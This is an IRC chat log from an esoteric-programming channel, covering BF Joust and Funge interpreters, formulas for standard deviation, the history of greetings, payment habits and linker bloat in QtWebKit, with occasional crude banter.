04:00:29 <zzo38> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
04:00:36 <zzo38> Now let's see if this log has some more kilobytes.
04:01:09 <pikhq_> MO'TO KIROHÀITO NI SIYÔ!
04:01:14 <quintopia> what IS the top-sized log ever?
04:01:32 <Sgeo> 35*12 +
04:01:38 <pikhq_> (もっとキロバイトにしよう!)
04:01:44 -!- Mathnerd314 has joined.
04:01:48 <Sgeo> 28
04:02:09 -!- azaq23 has quit (Ping timeout: 264 seconds).
04:02:26 * Sgeo estimates that zzo38's statement has 149 and a third XXXs
04:02:51 <Sgeo> It occurs to me that I have an IDLE window open, I should just count
04:03:14 <Sgeo> Woo, got it right
04:06:48 <elliott_> quintopia: http://tunes.org/~nef/logs/esoteric/09.05.28
04:06:48 <elliott_> over 400 kilobytes
04:06:48 <elliott_> there are no 300 kilobyte logs. because of science.
04:06:48 <elliott_> quintopia: most of that is bf joust :)
04:06:49 <quintopia> back in the bad old days when strategies were weak and lame?
04:06:49 <elliott_> quintopia: shut your whore mouth.
04:06:49 <elliott_> quintopia: i invented polarity in that log. or the one before it.
04:06:49 <quintopia> did you come up with sieve and kettle then too?
04:06:49 <elliott_> 12:07:58 <ehird> It's donning itself presently.
04:06:49 <elliott_> 12:08:02 <ehird> The goals aren't really lofty
04:06:49 <elliott_> 12:08:11 <ehird> Just "run the program a fuckload of times then average that"
04:06:49 <elliott_> 12:08:28 <GregorR-L> Is "a fuckload" = 21?
04:06:49 <elliott_> 12:08:45 <ehird> No.
04:06:49 <elliott_> 12:08:49 <ehird> That does not take into account...
04:06:49 <elliott_> 12:08:52 <ehird> PoLaRiTy!
04:06:49 <elliott_> 12:08:57 <ehird> Any choice between: SIEVE, and: KETTLE!
04:06:49 <elliott_> 12:09:10 <GregorR-L> .....................................................
04:06:49 <elliott_> ^^^ lance, never being implemented
04:06:49 <elliott_> quintopia: i think that was actually a day before or whatever.
04:06:49 <quintopia> why did you choose those names?
04:06:49 <elliott_> quintopia: because i didn't choose any other names
04:06:49 <elliott_> does that answer your question?
04:06:49 <quintopia> yes
04:06:49 <quintopia> also
04:06:49 <quintopia> lance is never going to be finished, yes?
04:06:50 <elliott_> it is
04:06:50 <elliott_> it's done apart from one parser bug. as i keep saying. which i will fix when i implement it into report.c.
04:06:50 <elliott_> which i might wait for greggsy to fixed-pointify first.
04:06:50 <elliott_> to make things easier for me
04:06:50 <elliott_> but i HAVE OTHER PROJECTS like SHIRO which needs more fingerprints and LEADEN
04:06:50 <elliott_> so lance remains in its basically-complete state for now.
04:06:50 <elliott_> with nice fucking error messages.
04:06:50 <quintopia> well
04:06:50 <quintopia> shiro is never going to be finished, yes?
04:11:44 <elliott_> quintopia: it's hard to define finished. it passes mycology and has several fingerprints.
04:11:44 <elliott_> not even ccbi implements all fingerprints. i won't either, for similar reasons
04:11:44 <elliott_> so it could be said that no funge-98 will ever be finished
04:11:44 <elliott_> in which case: no, it won't.
04:11:44 <zzo38> The reason I put a lot of X is to make long log file.
04:11:44 <quintopia> which fingerprints are not implemented
04:11:44 <elliott_> quintopia: most of them. or do you mean in CCBI?
04:11:44 <elliott_> FNGR, MVRS, WIND, some others i think.
04:11:44 <quintopia> no
04:11:44 <quintopia> which fingerprints have never been implemented
04:11:45 <elliott_> quintopia: all have been implemented.
04:11:45 <elliott_> but the TRULY insane ones (more insane than time travel) only in rcfunge.
04:11:45 <elliott_> e.g. FNGR, which violates the spec, MVRS, which is just insane, WIND, which is Windows-only, SGNL or something for the same reason
04:11:45 <quintopia> are fingerprints not written in funge itself?
04:11:45 <elliott_> ...no...
04:11:45 <quintopia> okay
04:15:27 <pikhq_> Well, they could be.
04:15:33 <pikhq_> In a Funge interpreter in Funge.
04:19:32 <zzo38> Is a standard deviation the same as square root of variance? I found two equations for standard deviation, but if you have a list of cards in a set and want to compute the standard deviation of them, which one do you use, the one for population or for sample?
04:19:32 -!- Gregor has joined.
04:19:32 <quintopia> yes
04:19:32 <elliott_> Gregor: we're not done with network theatre
04:19:32 <quintopia> sqrt of variance is the most commonly used number
04:19:33 <elliott_> pikhq_: FORSOOTH, WHAT IS THIS NETWORK I SEE BEFORE ME
04:19:33 <elliott_> <pikhq> MY
04:19:33 <elliott_> <pikhq> WE SHALL HAVE TO CONSULT GREGOR ON THE MATTER
04:19:33 <elliott_> WHAT HO!
04:19:33 <elliott_> quintopia: JESTER, PLAY US A TUNE.
04:19:33 * quintopia kicks elliott_
04:19:33 <elliott_> HA HA
04:19:33 <elliott_> SUCH AMUSING
04:19:33 <elliott_> ANTICS
04:19:33 <Gregor> Time to document furry_furry_strapon_pegging_girls
04:19:33 <quintopia> zzo38: i don't know the conditions under which you divide by n or (n-1)...probably the n-1 thing corrects for the error between using sqrt of variance and sum of abs distances
04:19:33 <elliott_> Gregor: excuse me
04:19:33 <elliott_> theatre.
04:19:33 <zzo38> I have two equations $$\sigma={1\over s_0}\sqrt{s_0s_2-s_1^2}$$ and $$s=\sqrt{s_0s_2-s_1^2\over s_0(s_0-1)}$$
04:19:33 <quintopia> Gregor: document space_elevator while you're at it >.>
04:19:33 <Gregor> quintopia: Idonno wtf it does :P
04:19:33 <elliott_> interior crocodile elevator
04:19:33 <quintopia> i drive a network movie theater
04:19:39 <elliott_> pikhq_: you be lagged!
04:19:39 <zzo38> I notice that even though they are written differently, it can be written the same way just with -1 omitted
04:19:44 <elliott_> quintopia: sorry you forgot to include space in that sentence
04:20:17 <quintopia> elliott_: i didn't have to because i drove it over you and you, being dead, didn't care
04:20:23 <zzo38> (TeX is especially good for mathematics.)
04:20:27 <elliott_> ohh
04:20:30 <elliott_> ACID BURN
04:20:33 <pikhq_> elliott_: LIES AND DECEIT
04:20:39 <elliott_> dies and leceit
04:21:09 <pikhq_> From 1908 to 1966, there was a whitelist of books Catholics were allowed to read.
04:21:15 <pikhq_> Jeeze.
04:21:19 <elliott_> 1966? xD lol
04:21:33 <zzo38> I did not know that. Now I do know. Is it Vatican II that changed that?
04:21:49 <zzo38> I do know Vatican II changed a lot of things.
04:22:14 <elliott_> Vatican 2.0
04:22:32 <pikhq_> Before that, there was a blacklist of books.
04:22:37 <elliott_> lol
04:22:38 <pikhq_> From 1559 to 1908.
04:22:39 <elliott_> "this blacklist is too long"
04:22:42 <elliott_> "a whitelist would be shorter"
04:22:42 <pikhq_> The Index Librorum Prohibitorum.
04:22:44 <elliott_> 1559. dayum.
04:22:52 <elliott_> the catholic church sure has wielded power for a long time.
04:23:09 <elliott_> can you even /imagine/ replacing an institution which has existed since 1559 under the same group?
04:23:10 <pikhq_> The term "Roman" in Roman Catholic Church comes from the Roman Empire.
04:23:25 <pikhq_> As it was a Roman institution.
04:23:29 <elliott_> indeed
04:23:51 <pikhq_> Absolutely *crazy* how long it's lasted.
04:24:15 <elliott_> i wonder what they put on it in 1559 :)
04:24:45 <oerjan> <elliott_> "this blacklist is too long" <-- some corner of my mind says maybe they changed because some people used the blacklist as encouragement...
04:24:55 <elliott_> oerjan: OH SURE. CHOOSE THE BORING OPTION.
04:25:24 <pikhq_> elliott_: For some time, Bible translations not into Latin.
04:25:31 <elliott_> haha
04:25:35 <elliott_> EVIL EVIL BIBLE TRANSLATIONS!
04:25:47 <elliott_> work of the devil.
04:25:51 <elliott_> basically satan just translates bibles all day.
04:26:09 <pikhq_> Much work of science...
04:26:46 <pikhq_> "Poem of the Man God" by Saint Valtorta was on there...
04:27:02 <pikhq_> Yes, a Catholic saint wrote a banned work.
04:29:24 -!- elliott_ has quit (Quit: Leaving).
04:29:24 -!- elliott_ has joined.
04:29:24 <elliott_> we got separated again. le sigh.
04:29:24 <zzo38> In Vatican II, science is no longer prohibited, and it is now permitted to do mass and Bible in non-Latin, too. And many other things also become no longer prohibited.
04:29:24 <elliott_> can you hear me pikhq_
04:29:25 -!- pikhq has joined.
04:29:25 <pikhq> Sorry, I suck. Valtorta was never canonised.
04:29:25 <quintopia> zzo38: matlab uses sqrt(sum(v.*v)/(n-1)) for its std function. i'd say that's the standard to go by
04:29:25 <pikhq> Mary Kowalska (Saint Faustina), however, was...
04:29:34 <pikhq> ... WTF?
04:29:42 <pikhq> I'm seeing myself talk, apparently.
04:29:53 <elliott_> yeah
04:29:55 <elliott_> such fun
04:29:56 <pikhq> And that definitely confirms WTF has been happening.
04:29:56 <elliott_> can you hear me
04:29:58 <elliott_> can you hear my words
04:29:58 <elliott_> say yes
04:30:00 <pikhq> Yes.
04:30:02 <elliott_> :D
04:30:04 <elliott_> i couldn't before
04:30:07 <elliott_> so i had to reconnect
04:30:18 <zzo38> quintopia: OK. I can make Plain TeXnicard use that equation. But probably without the square root, unless I can make square root with integers in a good way.
04:30:19 <pikhq> So, it seems that at random, the router decides to buffer like mad.
04:30:27 <oerjan> pikhq: well, these _are_ the end times.
04:30:31 <pikhq> And in doing so kills TCP.
04:30:40 <elliott_> so pikhq i'm reading this old log where you tell me that defining CFLAGS in a tiny makefile for a one-file program is a sin because someone imaginary might use a non-gcc compiler and they'll have to type "CFLAGS=" to get it to work :D
04:30:42 <oerjan> obviously time itself is starting to break down.
04:30:50 <elliott_> oerjan: cooooooool
04:30:56 <elliott_> does that mean i don't have to go to bed?
04:31:08 -!- pikhq_ has quit (Ping timeout: 240 seconds).
04:31:46 <quintopia> zzo38: like this? http://en.wikipedia.org/wiki/Integer_square_root
04:32:09 <oerjan> either that, or that you already _are_ in bed. i suggest you go and check.
04:32:19 <elliott_> oerjan: well yes i am.
04:32:21 <elliott_> but i'm not sleeping.
04:32:25 <elliott_> supposedly i have to
04:35:27 <zzo38> quintopia: OK.
04:38:01 <elliott_> OK GOODNIGHT
04:38:07 -!- elliott_ has quit (Quit: Leaving).
04:40:11 <quintopia> Gregor: ELLIOTT IS GONE
04:40:27 <Gregor> Hooray X-P
04:40:29 <quintopia> YOU MAY BRING OUT THE HARD LIQUORS NOW
04:41:00 <quintopia> i hear a jameson root beer float is quite nice
04:41:09 <quintopia> have you made root beer?
04:42:06 <zzo38> Can you make *square* root beer?
04:42:16 <zzo38> How many decimal places should the standard deviation have?
04:42:27 <zzo38> And how many decimal places for the mean?
04:43:52 <quintopia> you need probably twice as many decimals for the mean as you want to have in the stdev
04:44:10 <quintopia> i don't really care what you pick, honestly
04:49:07 <Gregor> quintopia: I haven't, the requisite roots for real root beer aren't actually very easy to get, plus that's not the kind of soda I make :P
04:49:38 <Gregor> Ohhey, I could buy gentian root extract ... I could make something like Moxie 8-D
04:50:19 <Gregor> OMG, if I bought sarsaparilla extract and gentian root extract ...
04:51:06 <Sgeo> ?
04:51:17 -!- copumpkin has joined.
04:51:28 -!- copumpkin has quit (Changing host).
04:51:28 -!- copumpkin has joined.
04:51:37 <Gregor> Sassafras extract is too expensive, I wonder how vital it is ...
04:51:45 <zzo38> I found the other equation for variance: The variance is equal to the mean of the square minus the square of the mean.
04:52:25 <Gregor> Sassafras is like $10/oz >_>
04:52:50 <quintopia> zzo38: correct
04:53:05 <Gregor> I suppose an ounce is still enough for like 12 liters of soda though ...
04:53:32 <zzo38> And that is easy to do from $s_0$ and $s_1$ and $s_2$
04:53:53 <quintopia> i don't know what those numbers are
04:55:52 <zzo38> $s_0$ is the number of items. $s_1$ is the sum. $s_2$ is the sum of squares.
04:57:03 <Sgeo> "Python programmers can stop chuckling now."
04:57:45 <pikhq> o.O'
04:57:46 <zzo38> So now the variance is: $$ \left({s_2\over s_0}\right)-\left({s_1\over s_0}\right)^2 $$
04:57:50 <Sgeo> [In a part of this style guide talking about avoiding empty while loops, unless there's a comment inside the body will be, in order to avoid accidental while;
04:57:54 <Sgeo> http://www.artlogic.com/styleguide/formatting.html
04:57:55 -!- copumpkin has quit (Ping timeout: 240 seconds).
04:57:59 <pikhq> "Hello" is first attested in the 1930s.
04:58:55 -!- oerjan has quit (Quit: leaving).
04:59:02 <pikhq> Erm, 1830s.
04:59:04 <pikhq> not 1930s.
04:59:11 <Gregor> pikhq: ??? to the first, *eh* to the second :P
05:00:08 <pikhq> The hell sort of greeting was used before then?
05:00:22 <quintopia> howdy
05:00:30 <pikhq> Texas-ism.
05:00:32 <quintopia> good day
05:00:42 <pikhq> (abbr. of "How do you do?", IIRC)
05:00:44 <quintopia> no, how do you do long predates texas
05:00:55 <pikhq> Yes, but "howdy" doesn't.
05:01:02 <quintopia> i was abbreviating :P
05:08:15 <zzo38> When moving around the terms to make a single fraction, it gets the same as the square of the $\sigma$ equation for standard deviation.
05:08:37 <quintopia> yes
05:08:57 <quintopia> that formula is just a different way of writing variance. it's the same number
05:09:00 <quintopia> gives the same stf
05:09:02 <quintopia> st
05:09:04 <quintopia> gah
05:09:05 <quintopia> stdev
05:09:21 <Gregor> Good {morning,day,evening}
05:11:14 <quintopia> sup gregs
05:12:32 <Gregor> I was actually providing a potential answer to "The hell sort of greeting was used before then?"
05:12:56 <quintopia> i had suggested good day already
05:13:24 <zzo38> In the explanation of the algorithms in TeXnicard, I used $Q_0$ to represent the minimum, $Q_4$ for the maximum, $Q_2$ for the median, although the value returned will actually be double the median since the median is not necesarily integer.
05:14:11 <quintopia> it's not clear to me why you need so much stats in a program for making cards...
05:14:12 <zzo38> Is $Q_0$ a standard notation for the minimum?
05:14:31 <quintopia> yeah probably
05:15:17 <Gregor> pikhq: "Hello" is an alteration of "hallo" (1781), which is an alteration of "holla" (1580)
05:15:58 <zzo38> quintopia: The reason is, in case you need to know the average of the cards, and so on.... it just calculates $s_0$ and $s_1$ and $s_2$ and $Q_0$ and $2Q_2$ and $Q_4$, and then in your template you can compute whatever statistics you need from those.
05:16:03 -!- Lymia_ has joined.
05:16:07 <Gregor> And apparently "hello" is an Americanism, surplanting the English "hullo"
05:16:27 <quintopia> it's a good word
05:16:36 <quintopia> but the best word america invented was "O.K."
05:16:42 <quintopia> EVERYONE uses it now
05:16:48 <zzo38> In Italian they say "ready" when answering the telephone.
05:16:50 <quintopia> even countries that don't say hello
05:17:05 <zzo38> I have also heard of one person that said "telephone" when answering the telephone.
05:17:20 <zzo38> And the inventor of telephone said "ahoy", I think.
05:17:25 <Gregor> I always just say "Yeah, what?" gruffly.
05:17:35 <pikhq> Gregor: "Holla" was not a gre3eting.
05:17:43 <pikhq> Nor was it a greeting.
05:17:46 <Gregor> pikhq: Holla!
05:17:54 <pikhq> Obviously it is *now*.
05:17:57 <Gregor> :P
05:18:28 <zzo38> The reason I can think of for saying "telephone" is so that the people in the next room know that they are speaking on the telephone.
05:18:31 <quintopia> Gregor: i like "yo" and "sup dude" for friends :P
05:18:42 -!- mtve has joined.
05:18:56 <Gregor> When people say "What's up?" to me (or variations thereof), I point up and say "That way"
05:19:08 <quintopia> i think that's usually how i answer the phone for my dad
05:19:11 <quintopia> "what's up?"
05:19:17 -!- Lymia has quit (Ping timeout: 240 seconds).
05:19:18 <Gregor> On the rare occasion that I actually want a proper greeting, I say "'ello"
05:19:23 <zzo38> I just say "the ceiling" or "the sky" when asked what's uyp.
05:19:30 <pikhq> zzo38: Better than the Japanese phone greeting, though.
05:19:35 <Gregor> More often I just use "hey" as a call to attention then dive right into whatever I'm trying to say.
05:19:51 <Gregor> "fukkuuyu"
05:19:51 <pikhq> Which is an informal greeting that developed out of an *insanely* formal and archaic greeting.
05:20:14 <zzo38> When answering the telephone I say "hello". When writing a letter I still begin with "Dear" and end with "Sincerely".
05:20:35 <Gregor> I ... I never pronounce the 'h' in "hello" ...
05:20:44 <quintopia> i always do
05:20:49 <zzo38> Most people I have seen who type messages in their computer never begin with "Dear" or end with "Sincerely".
05:20:49 * quintopia calls gregor
05:20:55 <Gregor> 'ello
05:20:58 <zzo38> Why is that?
05:21:11 <quintopia> because a computer is not a typewriter
05:21:13 -!- Sgeo_ has joined.
05:21:19 <pikhq> ("Moshi-moshi" comes from "mōshi", a grammatical form of "mōsu". Humble formal "to speak".)
05:21:19 <Gregor> zzo38: Because pleasantries are not useful?
05:21:27 <quintopia> and TCP is not an envelope
05:21:42 <pikhq> (one would use "mōsu" when, say, talking to the Emperor.)
05:22:09 <zzo38> Also, I always enter a colon after the name after "Dear", never a comma. In my opinion a comma doesn't make sense there, so I put a colon instead.
05:22:21 <pikhq> zzo38: Pleasantries and formalities have simply fallen out of use recently.
05:22:32 -!- augur has joined.
05:22:56 <pikhq> It's nothing to do with computers in particular; the same change is all over the place.
05:23:08 <pikhq> (how often do you say "sir" or "ma'am", pray tell?)
05:23:09 <quintopia> Dear zzo38: Imagine having to waste 30 characters of every tweet on a salutation and signature. Sincerely, quintopia #enoughroomforahashtag?
05:23:32 <quintopia> (that message was actually 140 chars!)
05:23:54 -!- Sgeo has quit (Ping timeout: 240 seconds).
05:23:57 <zzo38> I don't use Twitter, but Twitter is not a letter anyways. However, it is still probably the limit is too short.
05:25:30 <Gregor> What is the "correct" spelling of "couldn't've"?
05:26:00 <zzo38> I sometimes write letters by computer, and sometimes by hand. I use the same conventions either way, including the date at the top. In fact, I have typed such a letter recently (using TeX and a laser printer) and mailed it (actually, given it to someone who was going there to deliver it; so I needed no stamps).
05:26:02 <pikhq> Gregor: I don't see why that wouldn't be correct.
05:26:17 <Gregor> pikhq: Two apostrophes? Blech!
05:26:29 <quintopia> Gregor: no, it is in fact correc
05:26:33 <zzo38> And I signed my name by pen in Japanese after it was printed out.
05:26:33 <pikhq> Either that or "Couldn't h've". :P
05:26:39 <Gregor> quintopia: Two apostrophes? Blech!
05:26:39 <quintopia> apostrophes everywhere you omit letters
05:26:54 <pikhq> zzo38: 日本語で?
05:26:56 <quintopia> if you don't want to use apostrophes, don't abbreviate
05:27:11 <pikhq> zzo38: でも日本では判子を使う。……
05:27:15 <Gregor> quintopia: What if you're spelling something somebody else said smartypants.
05:27:44 <pikhq> Gregor: Invoke the spirit of Mark Twain before you write; it'll make things easier.
05:28:05 <quintopia> Gregor: un abbreviate their words. it's common to do so
05:28:09 <Gregor> pikhq: How do I do that? Do I need to sacrifice another goat?
05:28:23 <zzo38> pikhq: I did wrote the name in Japanese only, but that just means "Japanese" it doesn't mean what I wrote. I typed the letter in English.
05:28:47 <Sgeo_> I think zzo38's name is Mel Kaye
05:28:49 <pikhq> quintopia: I do not think that it is very common to do so. It makes people sound somewhat like Spock.
05:28:57 <pikhq> zzo38: Still should have used a hanko.
05:29:16 <zzo38> (I do commonly sign my name using Japanese even in many things that are English.)
05:29:18 <quintopia> pikhq: it is common in journalism to reduce abbreviations down to the "most common" ones
05:29:50 <zzo38> On cheques I sign it using both English and Japanese. But I rarely use cheques; I prefer to do all payments in cash as much as possible.
05:29:50 <pikhq> quintopia: It is also common in journalism to blatantly lie. Your point?
05:30:09 <Sgeo_> zzo38, are you Mel Kaye?
05:30:14 <pikhq> zzo38: Hardly anyone uses checks these days.
05:30:20 <quintopia> pikhq: lying is not considered a journalistic standard. un-abbreviation for clarity is.
05:30:55 <pikhq> quintopia: It's the most common act of many "news" reporting entities, however.
05:31:27 <quintopia> pikhq: also, most people.
05:31:33 <zzo38> pikhq: Most people use credit cards though, I think. I have received credit card applications and I just discard them. I almost always pay in cash and accept payments in cash. I sometimes (but rarely) use a cheque.
05:31:49 <pikhq> zzo38: I use cash & debit, personally.
05:31:56 <quintopia> zzo38: debit cards are the WAY OF THE FUTURE
05:32:00 <quintopia> at least until post-scarcity
05:32:15 <pikhq> Credit cards are pretty solidly stupid.
05:32:30 <pikhq> Okay, well, not *inherently* stupid, just stupid the way most people use them.
05:32:45 <zzo38> I don't use debit cards either.
05:32:57 <quintopia> any good reason?
05:33:05 <pikhq> Probably anonymity.
05:33:15 <zzo38> Because I prefer to pay in cash.
05:33:35 <quintopia> i need to get some liquid currency
05:33:38 <zzo38> I don't want them to stop accepting cash.
05:33:40 <quintopia> gold or silver
05:33:49 <quintopia> something that can survive bank crashage
05:33:52 <quintopia> and economy crashage
05:34:17 <zzo38> How many places will accept payment by gold coins and silver coins?
05:34:38 <quintopia> modern businesses? only pawn shops...
05:34:45 <quintopia> but *people* will accept them
05:34:50 <zzo38> If you have some gold, and you make it round, will they accept it?
05:34:52 <quintopia> and when the economy has collapsed
05:35:00 <quintopia> they will accept them long before they accept cash
05:35:21 <quintopia> zzo38: they'll accept it even not-round as long as its sufficiently pure
05:35:22 <pikhq> quintopia: Well, if you get the right coins modern businesses will be *obligated* to accept them for debts.
05:35:34 <pikhq> Not that you'd want to actually use them that way, but hey.
05:35:34 -!- mtve has quit (Ping timeout: 240 seconds).
05:35:39 <quintopia> pikhq: yes. that's the kind i plan on getting
05:35:56 <pikhq> (unless you like throwing a thousand dollars away)
05:36:04 <quintopia> U.S. mints have good quality guarantees on silver coinage
05:36:20 <quintopia> i can be sure the worth of the coin
05:36:33 <pikhq> Yeah, I'd imagine the US mint produces good coins. And certainly nice designs.
05:36:42 <pikhq> So worth it in *that* respect.
05:36:51 <pikhq> Just not worth it if you intend to use them as legal tender.
05:36:54 <quintopia> yes
05:37:11 <pikhq> Unless you're rich and have a sense of humor.
05:37:16 <quintopia> i want them to use when "legal tender" becomes a nonsense term
05:37:47 <pikhq> Quite honestly, I doubt that gold and silver are going to be your preferred choices there.
05:37:58 <zzo38> quintopia: Yes, when such a things as that happens, it might be useful to make silver coins and gold coins.
05:38:10 <pikhq> Unless you intend to have it as a store of wealth for an interregnum of sorts, that is.
05:38:24 <quintopia> pikhq: gold and silver retain value. it's weird, but it happens.
05:38:24 <zzo38> Because then they will stop accepting banknotes and government coins.
05:38:34 <pikhq> Otherwise, I'd suggest investing in somewhat more immediately useful commodities, such as toilet paper or canned goods.
05:38:46 <quintopia> yes, it's just until a different sort of economy appears
05:38:56 <quintopia> to tide me over until then
05:39:04 <pikhq> quintopia: If the government completely collapses, your gold and silver aren't going to be highly desired.
05:39:15 <pikhq> More immediate needs are pressing.
05:39:15 <quintopia> pikhq: more desired than printed cotton
05:39:22 <pikhq> Well, that much is true.
05:39:27 <quintopia> i expect to have the immediate concerns covered
05:39:33 <pikhq> They will at least *possess* value beyond being novelties.
05:39:42 <quintopia> food, guns, ammo, fuel
05:40:15 <quintopia> (i expect if this comes to pass, looters will be quite a problem. being armed is essential.)
05:40:31 <pikhq> Still, a stock of canned goods, toilet paper, etc. would be more useful.
05:40:46 <pikhq> Immediately useful commodities work so much better for barter than hypothetically useful ones.
05:41:08 <pikhq> (presuming they're commodities most people will actually desire)
05:41:13 <quintopia> actually, MREs retain nutritional value better than canned food
05:41:33 <pikhq> Yes, but canned goods are very easy to obtain.
05:41:38 <pikhq> Currently, that is.
05:41:42 <quintopia> the idea is to not *need* to trade for most things until it's been going on a while
05:41:45 <Sgeo_> I'd like to try MREs
05:41:51 <Sgeo_> Is it possible to survive on them?
05:41:54 <quintopia> sure
05:41:56 <pikhq> Sgeo_: Entirely.
05:42:01 <quintopia> that's the point of them
05:42:02 <Sgeo_> :D
05:42:07 * Sgeo_ wants!
05:42:25 <pikhq> Ilari probably has choice things to say on their nutritional value, though.
05:42:26 <quintopia> also, 5 gallon buckets of wheat flour and rice and sugar are good to have around
05:42:31 <quintopia> they last a long time
05:42:34 <quintopia> esp. the sugar
05:42:44 <pikhq> Can't be *that* bad, though; the military doesn't exactly want soldiers in ill health.
05:43:05 <quintopia> no, they have all the nutritional value you could need for quite a while. it's the flavor that leaves you wanting :P
05:43:19 -!- boysetsfrog has joined.
05:43:19 <quintopia> ilari is/was military?
05:43:30 <pikhq> quintopia: No, he's a nutrition nut among other things.
05:43:34 <Sgeo_> Is it possible for civilians to get MRE?
05:43:43 <quintopia> yes
05:43:49 <quintopia> check any army surplus store
05:43:50 <Sgeo_> legally, I mean
05:43:52 <Sgeo_> Ok
05:44:02 <quintopia> you can order online too
05:44:13 <pikhq> They're labeled "U.S. Government Property, Commercial Resale is Unlawful".
05:44:17 <pikhq> However, there is no such law.
05:44:39 <quintopia> and the gov't itself resells them :P
05:44:53 <pikhq> Also, the contractors who manufacture MREs also sell essentially the same product to consumers.
05:45:00 <pikhq> (different branding, basically)
05:45:07 <zzo38> Why do they say that if there is no such law? Is it a lie?
05:45:22 <quintopia> yes
05:45:32 <pikhq> zzo38: There is a regulation requiring them to make that claim on the MREs.
05:45:41 <pikhq> zzo38: There is, however, no truth to the claim at all.
05:47:28 <zzo38> pikhq: Does that mean there is a law requiring them to make that lie about the laws? Is there a law that requires the military to lie about everything?
05:47:42 <pikhq> zzo38: Regulation != law.
05:50:28 <zzo38> I cannot find anything on Wikipedia about using $Q_0$ for the minimum and $Q_4$ for the maximum. (And I haven't looked anywhere else) So how do you think it might be standard?
05:51:57 <quintopia> does it matter?
05:52:14 -!- asiekierka has joined.
05:52:24 <zzo38> I am just curious....
05:54:09 <zzo38> What other notations are commonly used for minimum, median, maximum?
05:54:30 <quintopia> "min" "med" "max" :P
05:55:25 <zzo38> I mean, with mathematical notations such as letters with subscripts or accent mark and stuff like that.
05:57:19 <quintopia> Q_2 *is* standard for median
05:57:43 <quintopia> Q_0 and Q_4 seem logical extensions of the quartile notation
05:57:47 <quintopia> i'd stay with that
05:58:42 <quintopia> boysetsfrog!
05:58:53 <zzo38> That is also why I have chosen those ones. I do not really plan to change it.
05:59:01 <boysetsfrog> hello
06:20:45 <Gregor> QtWebkit's final link command is over 55K characters long.
06:20:53 <quintopia> !bfjoust
06:20:55 -!- Lymia__ has joined.
06:20:57 <Gregor> boysetsfrog: ... boysetsfrog ... on fire?
06:20:59 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
06:21:02 <Gregor> ... on little brother?
06:21:20 <pikhq> Gregor: Webkit makes the linker cry.
06:21:30 <quintopia> XD
06:21:30 <Gregor> pikhq: I switched to gold just for WebKit :P
06:21:42 <Gregor> Takes over a minute to link. TO LINK.
06:21:50 <pikhq> Gregor: Imagine if you were using LTO.
06:21:57 <Gregor> pikhq: *sob*
06:22:09 <pikhq> ... That'd probably make a *significant* improvement on Webkit, though.
06:22:17 <pikhq> Not many of those symbols are exported.
06:24:02 <Gregor> pikhq: QtWebKit doesn't bother with export lists, every symbol is exported.
06:24:03 -!- Lymia_ has quit (Ping timeout: 240 seconds).
06:24:09 <pikhq> Gregor: *vomit*
06:24:25 <pikhq> That makes the dynamic linker really cry.
06:24:37 <Gregor> NORLY? X-P
06:24:44 <pikhq> Especially on Windows.
06:25:05 <pikhq> Where the entire binary *has to be dynamically patched to account for the load address of the library*.
06:25:50 <pikhq> Actually, on second thought, it's always going to be horrible there. Never mind.
06:25:54 <pikhq> Still.
06:26:18 <pikhq> You could probably make Webkit quite a bit faster on x86 just by limiting exported symbols.
06:26:27 <pikhq> And perhaps a bit faster on x86_64...
06:26:49 <Gregor> The (non-Qt) Windows build probably does control exported symbols.
06:26:54 -!- poiuy_qwert has joined.
06:26:59 <pikhq> It actually wouldn't make that big of a difference.
06:27:03 <Gregor> They only don't control it in Qt because Qt is portable, and export lists aren't.
06:27:16 <pikhq> ...
06:27:24 <pikhq> That's horrifying.
06:27:40 <pikhq> So, *Qt* could be made much faster by doing that.
06:28:53 <Gregor> pikhq: http://trac.webkit.org/browser/trunk/Source/JavaScriptCore/JavaScriptCore.exp
06:29:55 <Gregor> Since the code itself has no compiler-specific export control.
06:30:00 <Gregor> Amazing, I know.
06:31:01 <pikhq> So, not using GCC's visibility support at all.
06:31:14 <Gregor> COMPILER-SPECIFIC OMG
06:31:27 <Gregor> Of course the export list is compiler-specific anyway, but at least it's not IN THE CODE
06:31:36 <pikhq> "For example, a huge C++ template-based library which was tested (the TnFOX Boost.Python bindings library) now loads in eight seconds rather than over six minutes!"
06:31:52 <pikhq> Yes, it's that big of a deal.
06:31:54 <Gregor> ... six ... minutes?
06:32:04 <pikhq> Boost is frightening.
06:32:27 <Gregor> WebKit has its own template framework with a wonderful name.
06:32:40 <pikhq> Gregor: Remember that each created instance of a template creates its own set of symbols.
06:32:45 <Gregor> Ayup
06:33:00 <pikhq> And that Boost uses templates as type-level lambda calculus.
06:33:17 <Gregor> Remember that ELF does lazy resolution :P
06:33:25 <Gregor> And nobody cares about shitty Windows ;)
06:34:01 <pikhq> Still absurd.
06:34:12 <pikhq> Just like megabyte-sized symbol tables are absurd.
06:34:23 <pikhq> (megabyte as an order of magnitude, there, BTW)
06:35:25 <Gregor> $ du -h libQtWebKit.so.4.9.0 && strip libQtWebKit.so.4.9.0 && du -h libQtWebKit.so.4.9.0
06:35:25 <Gregor> 677M libQtWebKit.so.4.9.0
06:35:25 <Gregor> 55M libQtWebKit.so.4.9.0
06:35:27 <Gregor> lol
06:35:55 <pikhq> Yeaaah, C++ is crazy.
06:36:00 <Gregor> Bloat: 55MB. Extra bloat: 622MB
06:36:23 <pikhq> ... Is that *seriously* 622MiB of fucking symbol tables?
06:37:04 <Gregor> OKSLEEPITIMENOWBAI
06:39:17 <quintopia> bai gregs
06:47:31 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
06:48:15 -!- Lymia_ has joined.
06:51:12 <boysetsfrog> :\
